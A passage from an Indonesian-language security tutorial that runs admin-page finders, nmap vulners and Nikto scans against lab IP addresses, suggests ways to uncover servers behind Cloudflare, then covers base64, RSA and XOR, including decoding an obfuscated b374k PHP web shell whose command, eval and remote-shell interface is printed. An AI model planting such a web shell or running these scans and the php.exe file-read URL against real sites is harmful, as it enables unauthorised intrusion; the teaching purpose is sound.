        >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

 Please Enter Site
 Example: www.victim.com or www.victim.com/path
-> http://192.168.1.32/data
```

perl admin_finder.pl

```
 Please Enter Site
 Example: www.victim.com or www.victim.com/path
-> http://192.168.1.32/data

 Enter site source code

 1 = php
 2 = asp
 3 = aspx
 4 = cfm
 5 = js
 6 = cgi
 7 = brf

-> 1
```

Contohnya ketik 1 lalu enter.

```
root@dhcppc4: /home
File  Edit  View  Search  Terminal  Help
[-] Not Found <- http://192.168.1.32/data/adm/index.html
[-] Not Found <- http://192.168.1.32/data/adm.html
[-] Not Found <- http://192.168.1.32/data/moderator/admin.html
[-] Not Found <- http://192.168.1.32/data/user.php
[-] Not Found <- http://192.168.1.32/data/account.html
[-] Not Found <- http://192.168.1.32/data/controlpanel.html
[-] Not Found <- http://192.168.1.32/data/admincontrol.html
[-] Not Found <- http://192.168.1.32/data/panel-administracion/login.php
[-] Not Found <- http://192.168.1.32/data/wp-login.php
[-] Not Found <- http://192.168.1.32/data/adminLogin.php
[-] Not Found <- http://192.168.1.32/data/admin/adminLogin.php
[-] Not Found <- http://192.168.1.32/data/home.php

 [+] Found -> http://192.168.1.32/data/admin.php

[-] Not Found <- http://192.168.1.32/data/adminarea/index.php
[-] Not Found <- http://192.168.1.32/data/adminarea/admin.php
[-] Not Found <- http://192.168.1.32/data/adminarea/login.php
[-] Not Found <- http://192.168.1.32/data/panel-administracion/index.php
[-] Not Found <- http://192.168.1.32/data/panel-administracion/admin.php
[-] Not Found <- http://192.168.1.32/data/modelsearch/index.php
[-] Not Found <- http://192.168.1.32/data/modelsearch/admin.php
[-] Not Found <- http://192.168.1.32/data/admincontrol/login.php
[-] Not Found <- http://192.168.1.32/data/adm/admloginuser.php
```

Hasilnya ditemukan seperti di atas.

Materi sisipan

Scanning NMAP untuk mendapatkan informasi celah berdasar CVE

Contoh pada VM Windows XP yang diinstall PHPTriad

```
root@kalibr:~/nmap-vulners-master# nmap -sV --script vulners 192.168.1.31
Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-25 19:45 EST
Nmap scan report for 192.168.1.31
Host is up (0.00044s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 1.3.14 ((Win32))
|_http-server-header: Apache/1.3.14 (Win32)
| vulners:
|   cpe:/a:apache:http_server:1.3.14:
|       CVE-2011-3192          7.8             https://vulners.com/cve/CVE-2011-3192
|       CVE-2002-2272          7.8             https://vulners.com/cve/CVE-2002-2272
|       CVE-2004-1082          7.5             https://vulners.com/cve/CVE-2004-1082
|       CVE-2001-1449          7.5             https://vulners.com/cve/CVE-2001-1449
|       CVE-2004-0488          7.5             https://vulners.com/cve/CVE-2004-0488
|       CVE-2013-2249          7.5             https://vulners.com/cve/CVE-2013-2249
|       CVE-2002-2029          7.5             https://vulners.com/cve/CVE-2002-2029
|       CVE-2002-0843          7.5             https://vulners.com/cve/CVE-2002-0843
|       CVE-2002-0392          7.5             https://vulners.com/cve/CVE-2002-0392
|       CVE-2003-0993          7.5             https://vulners.com/cve/CVE-2003-0993
|       CVE-2001-0766          7.5             https://vulners.com/cve/CVE-2001-0766
|       CVE-2003-0542          7.2             https://vulners.com/cve/CVE-2003-0542
|       CVE-2009-1891          7.1             https://vulners.com/cve/CVE-2009-1891
|       CVE-2009-1890          7.1             https://vulners.com/cve/CVE-2009-1890
|       CVE-2004-0940          6.9             https://vulners.com/cve/CVE-2004-0940
|       CVE-2012-0883          6.9             https://vulners.com/cve/CVE-2012-0883
|       CVE-2002-0840          6.8             https://vulners.com/cve/CVE-2002-0840
```

nmap –sV –script vulners 192.168.1.31

Contoh pada Ubuntu 13.04

```
root@kalibr:~/nmap-vulners-master# nmap -sV --script vulners 192.168.1.172

Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-27 19:40 EST
Nmap scan report for 192.168.1.172
Host is up (0.00042s latency).
Not shown: 994 closed ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         ProFTPD 1.3.4a
22/tcp  open  ssh         OpenSSH 6.1p1 Debian 4 (protocol 2.0)
| vulners:
|   cpe:/a:openbsd:openssh:6.1p1:
|       CVE-2016-8858           7.8             https://vulners.com/cve/CVE-2016-8858
|       CVE-2017-15906          5.0             https://vulners.com/cve/CVE-2017-15906
|       CVE-2016-0778           4.6             https://vulners.com/cve/CVE-2016-0778
|_      CVE-2016-0777           4.0             https://vulners.com/cve/CVE-2016-0777
53/tcp  open  domain      ISC BIND 9.9.2-P1
| vulners:
|   cpe:/a:isc:bind:9.9.2-p1:
|_      CVE-2016-2848           5.0             https://vulners.com/cve/CVE-2016-2848
80/tcp  open  http        Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
| vulners:
|   cpe:/a:apache:http_server:2.2.22:
|       CVE-2017-3169           7.5             https://vulners.com/cve/CVE-2017-3169
|       CVE-2017-7668           7.5             https://vulners.com/cve/CVE-2017-7668
|       CVE-2017-3167           7.5             https://vulners.com/cve/CVE-2017-3167
|       CVE-2013-2249           7.5             https://vulners.com/cve/CVE-2013-2249
|       CVE-2017-7679           7.5             https://vulners.com/cve/CVE-2017-7679
|       CVE-2013-1862           5.1             https://vulners.com/cve/CVE-2013-1862
|       CVE-2013-5704           5.0             https://vulners.com/cve/CVE-2013-5704
|       CVE-2014-0231           5.0             https://vulners.com/cve/CVE-2014-0231
|       CVE-2014-0098           5.0             https://vulners.com/cve/CVE-2014-0098
|       CVE-2013-6438           5.0             https://vulners.com/cve/CVE-2013-6438
|       CVE-2013-1896           4.3             https://vulners.com/cve/CVE-2013-1896
```

Materi sisipan

Salah satu cara untuk mengetahui ip dibelakang cloudflare

https://toolbar.netcraft.com/site_report

Untuk metode-metode lain bisa mengakses di web https://www.sunnyhoi.com/how-to-find-real-ip-address-website-behind-cloudflare/

Materi sisipan

Scanning dengan Nikto

Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/programs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software. Scan items and plugins are frequently updated and can be automatically updated.

Nikto is not designed as a stealthy tool. It will test a web server in the quickest time possible, and is obvious in log files or to an IPS/IDS. However, there is support for LibWhisker's anti-IDS methods in case you want to give it a try (or test your IDS system).

Not every check is a security problem, though most are. There are some items that are "info only" type checks that look for things that may not have a security flaw, but the webmaster or security engineer may not know are present on the server. These items are usually marked appropriately in the information printed. There are also some checks for unknown items which have been seen scanned for in log files.

Features

Here are some of the major features of Nikto. See the documentation for a full list of features and how to use them.

- SSL Support (Unix with OpenSSL or maybe Windows with ActiveState's
- Perl/NetSSL)
- Full HTTP proxy support
- Checks for outdated server components
- Save reports in plain text, XML, HTML, NBE or CSV
- Template engine to easily customize reports
- Scan multiple ports on a server, or multiple servers via input file (including nmap output)
- LibWhisker's IDS encoding techniques
- Easily updated via command line
- Identifies installed software via headers, favicons and files
- Host authentication with Basic and NTLM
- Subdomain guessing
- Apache and cgiwrap username enumeration
- Mutation techniques to "fish" for content on web servers
- Scan tuning to include or exclude entire classes of vulnerability
- checks
- Guess credentials for authorization realms (including many default id/pw combos)
- Authorization guessing handles any directory, not just the root
- directory
- Enhanced false positive reduction via multiple methods: headers,
- page content, and content hashing
- Reports "unusual" headers seen

- Interactive status, pause and changes to verbosity settings
- Save full request/response for positive tests
- Replay saved positive requests
- Maximum execution time per target
- Auto-pause at a specified time
- Checks for common "parking" sites
- Logging to Metasploit

Sumber : https://cirt.net/Nikto2

Contoh pada Ubuntu 13.04

```
root@kalibr:~/nmap-vulners-master# nikto -h 192.168.1.172
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.1.172
+ Target Hostname:    192.168.1.172
+ Target Port:        80
+ Start Time:         2018-01-27 19:37:20 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, inode: 137903, size: 177, mtime: Thu Sep 22 21:5
2016
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against som
ms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of th
e in a different fashion to the MIME type
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file name
e http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) a
2.29 are also current.
+ Retrieved x-powered-by header: PHP/5.4.9-4ubuntu2.4
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ Cookie PHPSESSID created without the httponly flag
+ OSVDB-3092: /data/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ RFC-1918 IP address found in the 'x-pingback' header. The IP is "192.168.1.102".
+ /wordpress/: A Wordpress installation was found.
+ /phpmyadmin/: phpMyAdmin directory found
+ OSVDB-3092: /phpmyadmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be pro
d or limited to authorized hosts.
+ 8497 requests: 0 error(s) and 17 item(s) reported on remote host
+ End Time:           2018-01-27 19:37:56 (GMT-5) (36 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```

nikto -h 192.168.1.172

Contoh pada PHPTriad di Windows XP

```
^Croot@kalibr:~/nmap-vulners-master# nikto -h 192.168.1.31
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.1.31
+ Target Hostname:    192.168.1.31
+ Target Port:        80
+ Start Time:         2018-01-27 18:49:36 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/1.3.14 (Win32)
+ Retrieved x-powered-by header: PHP/4.0.5
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect agains
ms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content
e in a different fashion to the MIME type
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file
e http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found:
+ Apache/1.3.14 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final relea
2.29 are also current.
+ OSVDB-838: Apache/1.3.14 (Win32 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible
ion. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.14 (Win32 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow
ows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.14 (Win32 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewri
cgi. CAN-2003-0542.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ Web server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ /php/php.exe?c:\boot.ini: The Apache config allows php.exe to be called directly.
+ OSVDB-32774: /phpinfo.php?VARIABLE=<script>alert('Vulnerable')</script>: Contains PHP configuration
n and is vulnerable to cross site scripting (XSS).
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive informat
tain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive informat
```

Contoh :

nikto -h 192.168.1.31

http://192.168.1.31/php/php.exe?c:\windows\win.ini

Bab 33

Kriptografi

33.1 Kriptografi

Kriptografi (atau kriptologi; dari bahasa Yunani κρυπτός kryptós, "tersembunyi, rahasia"; dan γράφειν graphein, "menulis", atau -λογία logi, "ilmu") merupakan keahlian dan ilmu dari cara-cara untuk komunikasi aman pada kehadirannya di pihak ketiga. Secara umum, kriptografi ialah mengenai mengkonstruksi dan menganalisis protokol komunikasi yang dapat memblokir lawan; berbagai aspek dalam keamanan informasi seperti data rahasia, integritas data, autentikasi, dan non-repudansi merupakan pusat dari kriptografi modern. Kriptografi modern terjadi karena terdapat titik temu antara disiplin ilmu matematika, ilmu komputer, dan teknik elektro. Aplikasi dari kriptografi termasuk ATM, password komputer, dan E-commerce.

Sumber : https://id.wikipedia.org/wiki/Kriptografi

Secara etimologi kata kriptografi (*Cryptography*) berasal dari bahasa Yunani, yaitu kryptos yang artinya yang tersembunyi dan graphein yang artinya tulisan (Prayudi, 2005). Awal mula kriptografi dipahami sebagai ilmu tentang menyembunyikan pesan (Sadikin, 2012), tetapi seiring perkembangan zaman hingga saat ini pengertian kriptografi berkembang menjadi ilmu tentang teknik matematis yang digunakan untuk menyelesaikan persoalan keamanan berupa privasi dan otentikasi (Diffie, 1976).

Sumber : http://www.kajianpustaka.com/2014/01/pengertian-sejarah-dan-jenis-kriptografi.html

33.2 Base64 (Encode / decode)

Base64 is a group of similar binary-to-text encoding schemes that represent binary data in an ASCII string format by translating it into a radix-64 representation. The term Base64 originates from a specific MIME content transfer encoding.

https://en.wikipedia.org/wiki/Base64

Untuk mengetahui lebih jauh masuk ke http://www.kurungkurawal.com/2014/04/15/base64-encoding-step-by-step/ .

Contoh prakteknya dengan menggunakan python

import base64

encoded = base64.b64encode('cewek')

encoded

Lihat hasilnya di screenshoot

data = base64.b64decode(encoded)

data

Lihat hasilnya di screenshoot

```
root@dhcppc4:~# python
Python 2.7.3 (default, Jan  2 2013, 16:53:07)
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> encoded = base64.b64encode('cewek')
>>> encoded
'Y2V3ZWs='
>>> data = base64.b64decode(encoded)
>>> data
'cewek'
>>>
```

Misal untuk decode file php shell b374k :

phpshellaja - Notepad

File Edit Format View Help


```
eval("?>".gzinflate(base64_decode("7f2HmtvI0SgMX4HvgS+PfktjjoTIgNVKPiABZoI5gLY/PcgAEYkM
+vje/24A5HBmOCPtar1r77vrxxqwQ1V1d
aXOP/7V070/VRTfd/0vvuK5fmg42jv07mPl/wZK+CU0bOWLZdhGmKe9Cb44gq1UPlWqItEkzWqeFCs
+TME/YMXv0AgtWKYs/aFaqX4oiuXZQhTqIFcVrED5W
DHUd0HoW4rzLvQN+x3I94QguLv7jN79E2YaAaDj3Zsvnel0NGD/9jbH+/Yfd0UuqBq6lpso/pPqlU+fKs8ynwO5uyIo9CNAz7+ukS7Y
+Zpdrv721nI1wymwv
sm/K7fAPy/+8atE2nL9XQESAgdoJdc1DeVdyeD7q/x72Bvv7iq1CtFA0b/g5F
+asE9syOovS3axYRd/e7vsLAaz1ReOnrBv//GxoiuCDPBWx64khIbr/AD7w
gbVZIDjDjZXAd1wC3GB9Izz/S+K81813mfcf5OKgmR+8azKp6q876orcpJ0Jzu1tphv7GU8ZCP
+dJTsjjDcW3zSR9NVjU02a3GBxsLY3qet5ky0jg4r9hCC6
M+m46acqPo
+8Gh9a9Hr0BhvTyZPZzsfZzo6PluiyzlVP7nrbcPSXIHkDEcluI4+prRebNErdapZ1ApZiHgyH6pc0FtLTHdykqQpRfK14WYlYO2jvozdgUYst
0jczxoqNRIt0lRmB2Fv7eZhpycYxmZ40uetTT9K8eNoS
+/0KWOYol0byVGCtRXRFeiG6GgHrNedWvRi5/QMu7/Zi5uDQOsN76hTxw0Vr8llY7h3Bsi8dRT4c
ZBqXXO79ZCu6Uc2ruwXiiQJWk3j0GHa4Fo6z5/isd/YjlhiFI39kCVMP27p7anTWNWcGrIiW3Q8GWyDyJVmhLUVcW+
+92pz9FM17wrDkYuuEPfdeNmaJOxEV
OvYTOJ9BVuPDkaGeanc3fVDh0c3CwaxOEfhusYKtQX3NHP2K95bsXKtWyeas7rSqMf7BiHqcexoUZweecOyE52eBlGLd7qn42w/HrXlYIebs4j1o0a
IJOMZ4
Zq7SOy1+5TEmSd9v8BpOV7GeLgP2FpP2DgWQbPtpB7Q3Vo90FpSvymytonx3WBXH5j2KWHGc0pthCuKD2lv1mUzn1JkbDCch/v2vOZGsUrZmFZzT9h
6scJQl
Rvi7oSQEmWAOq3Foq7Vedasn6zjbiFM67VaipEqqSxdFE
+F7eI0aGipexrWtvugNx46Vnr0xKCzmLlJsD1I4gHjtifWxxrHBcuMW1GWiXaiJki8skdM/Tgjs
9ghXPJIdNxdJI01n6Y27fhwyjrOmt+z0+2C7zYOTGfI16X6TuIpvOHVe0Jqtmpz3utPu8usZ9IGt5xM
```

Saat file phpshellaja.php dijalankan seperti di atas

Di sini akan dilakukan decode pada file tersebut

bongkar - Notepad

File Edit Format View Help

```
<?
$shell_code="7f2HmtvI0SgMX4HvgS+PfktjjoTIgNVKPiABZoI5gLY/PcgAEYkM+vje/24A5HBmOCPtar1r77vrxxqwQ1V1d
aXOP/7V070/VRTfd/0vvuK5fmg42jv07mPl/wZK+CU0bOWLZdhGmKe9Cb44gq1UPlWqItEkzWqeFCs
+TME/YMXv0AgtWKYs/aFaqX4oiuXZQhTqIFcVrED5W
DHUd0HoW4rzLvQN+x3I94QguLv7jN79E2YaAaDj3Zsvnel0NGD/9jbH+/Yfd0UuqBq6lpso/pPqlU+fKs8ynwO5uyIo9CNAz7+ukS7Y
+Zpdrv721nI1wymwv
sm/K7fAPy/+8atE2nL9XQESAgdoJdc1DeVdyeD7q/x72Bvv7iq1CtFA0b/g5F
+asE9syOovS3axYRd/e7vsLAaz1ReOnrBv//GxoiuCDPBWx64khIbr/AD7w
gbVZIDjDjZXAd1wC3GB9Izz/S+K8181 3mfcf5OKgmR+8azKp6q876orcpJ0Jzu1tphv7GU8ZCP
+dJTsjjDcW3zSR9NVjU02a3GBxsLY3qet5ky0jg4r9hCC6
M+m46acqPo
+8Gh9a9Hr0BhvTyZPZzsfZzo6PluiyzlVP7nrbcPSXIHkDEcluI4+prRebNErdapZ1ApZiHgyH6pc0FtLTHdykqQpRfK14WYlYO2jvozdgUYst
0jczxoqNRIt01RmB2Fv7eZhpycYxmZ40uetTT9K8eNoS
+/0KWOYol0byVGCtRXRFeiG6GgHrNedWvRi5/QMu7/Zi5uDQOsN76hTxw0Vr8llY7h3Bsi8dRT4c
ZBqXXO79ZCu6Uc2ruwXiiQJWk3j0GHa4Fo6z5/isd/YjlhiFI39kCVMP27p7anTWNWcGrIiW3Q8GWyDyJVmhLUVcW+
+92pz9FM17wrDkYuuEPfdeNmaJOxEV
OvYTOJ9BVuPDkaGeanc3fVDh0c3CwaxOEfhusYKtQX3NHP2K95bsXKtWyeas7rSqMf7BiHqcexoUZweecOyE52eBlGLd7qn42w/HrXlYIebs4j1o0a
IJOMZ4
Zq7SOy1+5TEmSd9v8BpOV7GeLgP2FpP2DgWQbPtpB7Q3Vo90FpSvymytonx3WBXH5j2KWHGc0pthCuKD2lv1mUzn1JkbDCch/v2vOZGsUrZmFZzT9h
6scJQl
Rvi7oSOFmWAOq3Foq7Vedasn6zjhiFM67VajnFqqSxdFF
```

```
IPz4dYgFMIouI3OC76CDc5nfgXfrD
+rwGIXTbuNChb5WtN0D/bjV/ANHOj4hFynBdGFvjfyfaB5eUuViqtWAEkvtFf3vkKDLH4Ffefh1sbzy9K3ccniV1D5X
+vJBYimQYOWcG/hbRz+zf67IaqXILKCls8XVJ9Go0D9z7EoDEWrn68jzWox9nqqdkVq6bcebV2DCgSM4DlYK
+Oi6pWfKeOhotQjiptQt8roqFpGO45bGs5H8
dZDuHWGXARbl9pw/94ZUZH1HF0LhovFZPkFy+M4tIx1z4DkC/ibvfd8z03+52lY9sTalGs4eRxfFd30S1B0+1WRYmT8tA
+K1Afjd4ZdlDpPD/z1iem7ko3ns
0plZPWSdMBVkWLvl60VUcglIDqDPz+ZATgLDH1oSIJVorABK0FMVrLppru53ipZ9jMcQ77oQYo17Qe5s1wN3kxxU/LON5ed+7Is+5greCERjyXwO
+XuFqKL5
D3buJnzH7b2T3mkfh3GX8nQefq/qrouvHLr8xCwyRL0ysCRQVQVGIIZVf4suV728Yp1xeodf1m1K64Sufb2xZsNMCTJP2AQDj7+/w==";
$bantai=gzinflate(base64_decode($shell_code));
$file=fopen("filebongkar.txt","a");
fputs($file,$bantai);
fclose($file);
echo ("File berhasil dibongkar");
?>
```

```
C:\data\xampp\php>php bongkar.php
```

Jalankan file bongkar.php seperti di atas

```
File berhasil dibongkar
C:\data\xampp\php>dir filebongkar.txt
 Volume in drive C has no label.
 Volume Serial Number is 1EAE-5B55

 Directory of C:\data\xampp\php

01/13/2017  06:29 PM           145,128 filebongkar.txt
               1 File(s)        145,128 bytes
               0 Dir(s)  184,733,483,008 bytes free

C:\data\xampp\php>
```

Filebongkar.txt muncul

```
xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">  <head> <title><?php echo $s_title; ?></title> <link
rel="SHORTCUT ICON" href="<?php echo $_SERVER['SCRIPT_NAME']."?favicon"; ?>" />  <style type="text/css"><?php echo
gzinflate(base64_decode($style)); ?></style>  <script type="text/javascript" src="<?php echo $_SERVER
['SCRIPT_NAME']."?sorttable"; ?>"></script> <script type="text/javascript"> function tukar(l,b){ if
(document.getElementById(l)) document.getElementById(l).style.display = 'none'; if(document.getElementById(b))
document.getElementById(b).style.display = 'block'; } function init(){ <?php if(isset($_REQUEST['cmd'])) echo "if
(document.getElementById('cmd')) document.getElementById('cmd').focus();"; ?> } </script>  </head>  <body
onLoad="init();"> <table id="main"><tr><td><?php if($s_auth){ ?> <div><table
id="header"><tr><td><table><tr><td><h1><a href="?"><?php echo $s_name; ?></a></h1></td></tr><tr><td style="text-
align:right;"><div class="ver"><?php echo $s_ver; ?></div></td></tr></table></td> <td><div class="headinfo"><?php
echo $s_info; ?></div></td></tr></table> </div> <div style="clear:both;"></div> <div id="menu"> <table
style="width:100%;"><tr> <td><a href="?&d=<?php echo $pwd; ?>" title="Explorer"><div
class="menumi">xpl</div></a></td> <td><a href="?ps&d=<?php echo $pwd; ?>" title="Display process status"><div
class="menumi">ps</div></a></td> <td><a href="?eval&d=<?php echo $pwd; ?>" title="PHP eval function"><div
class="menumi">eval</div></a></td> <td><a href="?phpinfo&d=<?php echo $pwd; ?>" title="Information about current
state of PHP"><div class="menumi">php</div></a></td> <td><a href="?db&d=<?php echo $pwd; ?>" title="Connect to
database"><div class="menumi">db</div></a></td> <td><a href="?rs&d=<?php echo $pwd; ?>" title="Remote Shell"><div
class="menumi">rs</div></a></td> <td style="width:100%;padding:0 0 0 6px;"> <form action="?" method="get"><span
class="prompt"><?php echo $s_prompt; ?></span> <input id="cmd" class="inputz" type="text" name="cmd"
style="width:70%;" value="" /> <noscript><input class="inputzbut" type="submit" value="Go !" name="submitcmd"
style="width:80px;" /></noscript> <input type="hidden" name="d" value="<?php echo $pwd; ?>" /> </form> </td> </tr>
</table> </div> <div id="content" id="box_shell"> <div id="result"><?php echo $s_result; ?></div> </div><?php }
else{ ?> <div style="width:100%;text-align:center;">  <form action="?" method="post"> <img src="?favicon"
style="margin:2px;vertical-align:middle;" /> <?php echo $s_name; ?> <span class="gaya"><?php echo $s_ver; ?
></span><input id="login" class="inputz" type="password" name="login" style="width:120px;" value="" /> <input
class="inputzbut" type="submit" value="Go !" name="submitlogin" style="width:80px;" /> </form> </div>  <?php } ?>
</td></tr></table> <p class="footer">Jayalah Indonesiaku &copy;<?php echo date("Y",time())." ".$s_name; ?></p>
</body> </html>
```

Hasilnya setelah dilakukan encode

33.3 Encryption / Decryption

Di bidang kriptografi, enkripsi adalah proses mengamankan suatu informasi dengan membuat informasi tersebut tidak dapat dibaca tanpa bantuan pengetahuan khusus.

Sebuah cipher adalah sebuah algoritma untuk menampilkan enkripsi dan kebalikannya dekripsi, serangkaian langkah yang terdefinisi yang diikuti sebagai prosedur. Alternatif lain ialah encipherment. Informasi yang asli disebut sebagai plaintext, dan bentuk yang sudah dienkripsi disebut sebagai chiphertext. Pesan chipertext berisi seluruh informasi dari pesan plaintext, tetapi tidak dalam format yang didapat dibaca manusia ataupun komputer tanpa menggunakan mekasnisme yang tepat untuk melakukan dekripsi.

Cipher pada biasanya memiliki parameter dari sebagian dari informasi utama, disebut sebagai kunci. Prosedur enkripsi sangat bervariasi tergantung pada kunci yang akan mengubah rincian dari operasi algoritma. Tanpa menggunakan kunci, chiper tidak dapat digunakan untuk dienkirpsi ataupun didekripsi.

Sumber : https://id.wikipedia.org/wiki/Enkripsi

Contoh chipher adalah Caesar.

Dalam kriptografi, sandi Caesar, atau sandi geser, kode Caesar atau Geseran Caesar adalah salah satu teknik enkripsi paling sederhana dan paling terkenal. Sandi ini termasuk sandi substitusi di mana setiap huruf pada teks terang (plaintext) digantikan oleh huruf lain yang memiliki selisih posisi tertentu dalam alfabet. Misalnya, jika menggunakan geseran 3, W akan menjadi Z, I menjadi L, dan K menjadi N sehingga teks terang "wiki" akan menjadi "ZLNL" pada teks tersandi. Nama Caesar diambil dari Julius Caesar, jenderal, konsul, dan

diktator Romawi yang menggunakan sandi ini untuk berkomunikasi dengan para panglimanya.

Sumber : https://id.wikipedia.org/wiki/Sandi_Caesar

Contoh prakteknya dengan menggunakan python

Option K adalah Kunci yang digunakan, Mode nya pilih e atau d, jika e untuk enkripsi, jika d untuk dekripsi.

Enkripsi dan dekripsi pada kriptografi asimetris

Membuat kunci :

from Crypto.PublicKey import RSA

from Crypto import Random

random_generator = Random.new().read

key = RSA.generate(1024, random_generator)

key

Pengecekan informasi kunci :

key.can_encrypt()

key.has_private()

key.publickey()

Enkripsi data dengan kunci public :

public_key = key.publickey()

enc_data = public_key.encrypt('abcdefgh', 32)

enc_data

Dekripsi dengan kunci private :

key.decrypt(enc_data)

```
C:\Python27>python
ActivePython 2.7.8.10 (ActiveState Software Inc.) based on
Python 2.7.8 (default, Jul  2 2014, 19:50:44) [MSC v.1500 32 bit (Intel)] on win
32
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.PublicKey import RSA
>>> from Crypto import Random
>>> random_generator = Random.new().read
>>> key = RSA.generate(1024, random_generator)
>>> key
<_RSAobj @0x1489738 n(1024),e,d,p,q,u,private>
>>> key.can_encrypt()
True
>>> key.has_private()
True
>>>
>>> public_key = key.publickey()
>>> enc_data = public_key.encrypt('abcdefgh', 32)
>>> enc_data
('(k\xda\xe47NN\x0e\xf7\\3\xb79f\xe3\x0f\x1bd\xb4n(\x9c\xce\x9d\x99\xf0\x80\xe6\
x0f\xa5\x03\xb8\xab\xb3\xbdr\xce\xd8\xd7\xfa \xf3+\x12\x11\x8d\xb4MI\x10\x0bDw\x
c9.\xc7<\xe4\x1a\xfe!\x01\xf3]\xeb\xa1\xb5Q<\x94F>Y\xa56\x88\x17\xa2\xf2\xc0\xb7
\x0f\xe9\x01\xc24\x17\xbdN\x04\x16\x05\xc8\x96\xcaf\xc2\xd1\x0e\x8f\x16W\xa8{\xb
d\t\xaf\x7fp\xd6\x94\x1c\xc2"\xf36\xa6\xfd\x1e\xbfAV\xee\xf6!\x8a\x98\xfc',)
>>> key.decrypt(enc_data)
'abcdefgh'
>>> _
```

Sandi substitusi

Sandi substitusi (atau substitution chiper adalah sebuah skema penyandian, di mana sebuah karakter atau simbol digunakan untuk menggantikan (atau menyamarkan) karakter (atau simbol) yang sebenarnya).

Sumber : Schaum's ouTlines ~ Computer Network (Jaringan komputer). ED TITTEL

Praktek

http://rumkin.com/tools/cipher/substitution.php

Key for Alphabet

Phqgiumeaylnofdxjkrcvstzwb

Message to encode

defend the east wall of the castle

Hasil enkripsi

giuifg cei iprc tpnn du cei qprcni

Contoh crack

http://quipqiup.com/

XOR

What You Need

A Kali Linux machine, real or virtual. You could also use OS X, or Windows with Python installed.

Purpose

Encrypt and decrypt files using XOR in Python.

Understanding XOR

Exclusive OR (XOR) is a fundamental mathematical operation used in many encryption algorithms.

XOR operates on one bit at a time, with these results:

```
0 XOR 0 = 0
0 XOR 1 = 1
1 XOR 0 = 1
1 XOR 1 = 0
```

For our purposes, we'll use the Python **^** operator, which acts on a whole byte at a time.

Characters are ASCII-encoded, like this:

```
A is 01000001
B is 01000010
C is 01000011
...
```

A whole table of ASCII values is here:

http://www.asciitable.com/

Consider A^B:

```
A is 01000001
B is 01000010
A^B= 00000011
```

That is character 3, an unprintable end-of-text mark.

However, A^s is printable:

```
A is 01000001
s is 01110011
A^B= 00110010
```

The result is the hexadecimal value 0x32, or the numeral 2.

Source code

```
#!/usr/bin/python

import sys

if len(sys.argv) != 4:
  print "Usage: ./xor1 infile outfile k"
  print "k is a one-character XOR key"
  print "For hexadecimal keys, use $'\\x01'"
  exit()

f = open(str(sys.argv[1]), "rb")
g = open(str(sys.argv[2]), "a")
k = ord(sys.argv[3])

try:
    byte = f.read(1)
    while byte != "":
        xbyte = ord(byte) ^ k
        g.write(chr(xbyte))
        byte = f.read(1)
finally:
    f.close()

g.close()
```

```
  GNU nano 2.2.6

#!/usr/bin/python

import sys

if len(sys.argv) != 4:
  print "Usage: ./xor1 infile outfile k"
  print "k is a one-character XOR key"
  print "For hexadecimal keys, use $'\\x01'"
  exit()

f = open(str(sys.argv[1]), "rb")
g = open(str(sys.argv[2]), "a")
k = ord(sys.argv[3])

try:
    byte = f.read(1)
    while byte != "":
        xbyte = ord(byte) ^ k
        g.write(chr(xbyte))
        byte = f.read(1)
finally:
    f.close()

g.close()
```

Tampilan di nano

```
root@dhcppc4:/home/xor# nano xor.py
root@dhcppc4:/home/xor# python xor.py
Usage: ./xor1 infile outfile k
k is a one-character XOR key
For hexadecimal keys, use $'\x01'
